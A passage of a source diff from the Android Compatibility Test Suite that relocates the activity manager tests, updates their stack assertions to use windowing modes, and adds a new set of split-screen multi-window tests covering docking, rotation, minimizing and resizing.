+ mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(topActivityName, true);
if (isFocusable) {
- mAmWmState.assertFocusedStack(
- "Pinned stack must be the focused stack.", PINNED_STACK_ID);
+ mAmWmState.assertFocusedStack("Pinned stack must be the focused stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedActivity(
"Pinned activity must be focused activity.", topActivityName);
mAmWmState.assertFocusedWindow(
@@ -1331,8 +1414,8 @@
"Pinned window can't be focused window.", windowName);
}
} else {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
similarity index 76%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
index 3aa3ce0..2d16057 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
@@ -14,24 +14,22 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
+
import junit.framework.Assert;
-import static com.android.ddmlib.Log.LogLevel.INFO;
+import org.junit.Test;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import java.util.ArrayList;
+import java.util.List;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerReplaceWindowTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerReplaceWindowTests
*/
public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
@@ -40,17 +38,19 @@
private List<String> mTempWindowTokens = new ArrayList();
+ @Test
public void testReplaceWindow_Dock_Relaunch() throws Exception {
testReplaceWindow_Dock(true);
}
+ @Test
public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
testReplaceWindow_Dock(false);
}
private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
@@ -70,18 +70,16 @@
Thread.sleep(2000);
}
- CLog.logAndDisplay(INFO, "==========Before Docking========");
+ log("==========Before Docking========");
final String oldToken = getWindowToken(windowName, activityName);
// Move to docked stack
- final int taskId = getActivityTaskId(activityName);
- final String cmd = AM_MOVE_TASK + taskId + " " + DOCKED_STACK_ID + " true";
- executeShellCommand(cmd);
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
// Sleep 5 seconds, then check if the window is replaced properly.
Thread.sleep(5000);
- CLog.logAndDisplay(INFO, "==========After Docking========");
+ log("==========After Docking========");
final String newToken = getWindowToken(windowName, activityName);
// For both relaunch and not relaunch case, we'd like the window to be kept.
@@ -90,7 +88,7 @@
private String getWindowToken(String windowName, String activityName)
throws Exception {
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
mAmWmState.assertVisibility(activityName, true);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
new file mode 100644
index 0000000..f33f15d
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -0,0 +1,743 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.am.StateLogger.log;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityOptions;
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsActivityManagerDeviceTestCases:android.server.am.ActivityManagerSplitScreenTests
+ */
+public class ActivityManagerSplitScreenTests extends ActivityManagerTestBase {
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+ private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+ private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+ private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
+ private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+ private static final String TEST_ACTIVITY_ACTION_FINISH =
+ "android.server.am.TestActivity.finish_self";
+
+ private static final int TASK_SIZE = 600;
+ private static final int STACK_SIZE = 300;
+
+ @Test
+ public void testMinimumDeviceSize() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ mAmWmState.assertDeviceDefaultDisplaySize(
+ "Devices supporting multi-window must be larger than the default minimum"
+ + " task size");
+ }
+
+ @Test
+ @Presubmit
+ public void testStackList() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivity(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ public void testDockActivity() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ @Presubmit
+ public void testNonResizeableNotDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFrontStack("Fullscreen stack must be front stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSide() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ public void testLaunchToSideMultiWindowCallbacks() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Launch two activities, one split-screen primary and the other adjacent
+ final TestActivityHolder splitScreenActivity =
+ new TestActivityHolder(SplitScreenActivity.class, mContext);
+ splitScreenActivity.launchActivityInSplitScreen();
+ splitScreenActivity.assertWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ final TestActivityHolder toSideActivity = splitScreenActivity.launchOtherActivity(
+ ToSideActivity.class, FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT, null);
+ toSideActivity.assertWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+
+ // Remove split-screen stack, and ensure that we are in the right fullscreen state and also
+ // reported to the client.
+ removeStacksInWindowingModes(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ splitScreenActivity.assertWindowingMode(WINDOWING_MODE_FULLSCREEN);
+ toSideActivity.assertWindowingMode(WINDOWING_MODE_FULLSCREEN);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideAndBringToFront() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
+ final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForFirstVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY_NAME);
+
+ // Launch another activity to side to cover first one.
+ launchActivity(
+ NO_RELAUNCH_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(waitForSecondVisible);
+ int taskNumberCovered = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Fullscreen stack must have one task added.",
+ taskNumberInitial + 1, taskNumberCovered);
+ mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ NO_RELAUNCH_ACTIVITY_NAME);
+
+ // Launch activity that was first launched to side. It should be brought to front.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForFirstVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number in fullscreen stack must remain the same.",
+ taskNumberCovered, taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ TEST_ACTIVITY_NAME);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideMultiple() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+ final String[] waitForActivitiesVisible =
+ new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+ TEST_ACTIVITY_NAME);
+ assertNotNull("Launched to side activity must remain in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideSingleInstance() throws Exception {
+ launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
+ }
+
+ @Test
+ public void testLaunchToSideSingleTask() throws Exception {
+ launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
+ }
+
+
+ @Presubmit
+ @Test
+ public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
+ launchTargetToSide(TEST_ACTIVITY_NAME, true);
+ }
+
+ private void launchTargetToSide(String targetActivityName,
+ boolean taskCountMustIncrement) throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ final WaitForValidActivityState[] waitForActivitiesVisible =
+ new WaitForValidActivityState[] {
+ new WaitForValidActivityState.Builder(targetActivityName).build(),
+ new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build()
+ };
+
+ // Launch activity to side with data.
+ launchActivityToSide(true, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again with different data.
+ launchActivityToSide(true, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+ taskNumberSecondLaunch);
+ } else {
+ assertEquals("Task number must not change.", taskNumberInitial,
+ taskNumberSecondLaunch);
+ }
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+ assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again with no data.
+ launchActivityToSide(false, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+ taskNumberFinal);
+ } else {
+ assertEquals("Task number must not change.", taskNumberSecondLaunch,
+ taskNumberFinal);
+ }
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+ assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Presubmit
+ @Test
+ public void testLaunchToSideMultipleWithFlag() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ final String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+ getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+ taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY_NAME);
+ assertNotNull("Launched to side activity must remain in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Test
+ public void testRotationWhenDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ // Rotate device single steps (90°) 0-1-2-3.
+ // Each time we compute the state we implicitly assert valid bounds.
+ String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+ // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
+ setDeviceRotation(1);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(3);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(2);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ @Test
+ @Presubmit
+ public void testRotationWhenDockedWhileLocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertSanity();
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ sleepDevice();
+ setDeviceRotation(i);
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+ }
+
+ @Test
+ public void testMinimizedFromEachDockedSide() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ for (int i = 0; i < 2; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+ if (!mAmWmState.isScreenPortrait() && isTablet()) {
+ // Test minimize to the right only on tablets in landscape
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME,
+ SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT);
+ }
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testRotationWhileDockMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ // Rotate device single steps (90°) 0-1-2-3.
+ // Each time we compute the state we implicitly assert valid bounds in minimized mode.
+ String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+ // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
+ // mode.
+ setDeviceRotation(1);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(3);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(2);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ @Test
+ public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+ // going home has the correct app transition
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+
+ // Unminimize the docked stack
+ pressAppSwitchButton();
+ waitForDockNotMinimized();
+ assertDockNotMinimized();
+
+ // Dismiss the dock stack
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[]{DOCKED_ACTIVITY_NAME});
+
+ // Go home and check the app transition
+ assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ pressHomeButton();
+ mAmWmState.computeState();
+ assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testFinishDockActivityWhileMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+ waitForDockNotMinimized();
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+ assertDockNotMinimized();
+ }
+
+ @Test
+ public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ assertDockMinimized();
+ }
+
+ @Test
+ public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ // Unminimized back to splitscreen
+ pressAppSwitchButton();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ }
+
+ @Test
+ @Presubmit
+ public void testResizeDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ assertEquals(new Rect(0, 0, STACK_SIZE, STACK_SIZE),
+ mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).getBounds());
+ mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+ }
+
+ @Test
+ public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ final WaitForValidActivityState[] waitTestActivityName =
+ new WaitForValidActivityState[] {new WaitForValidActivityState.Builder(
+ TEST_ACTIVITY_NAME).build()};
+ launchActivity(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(waitTestActivityName);
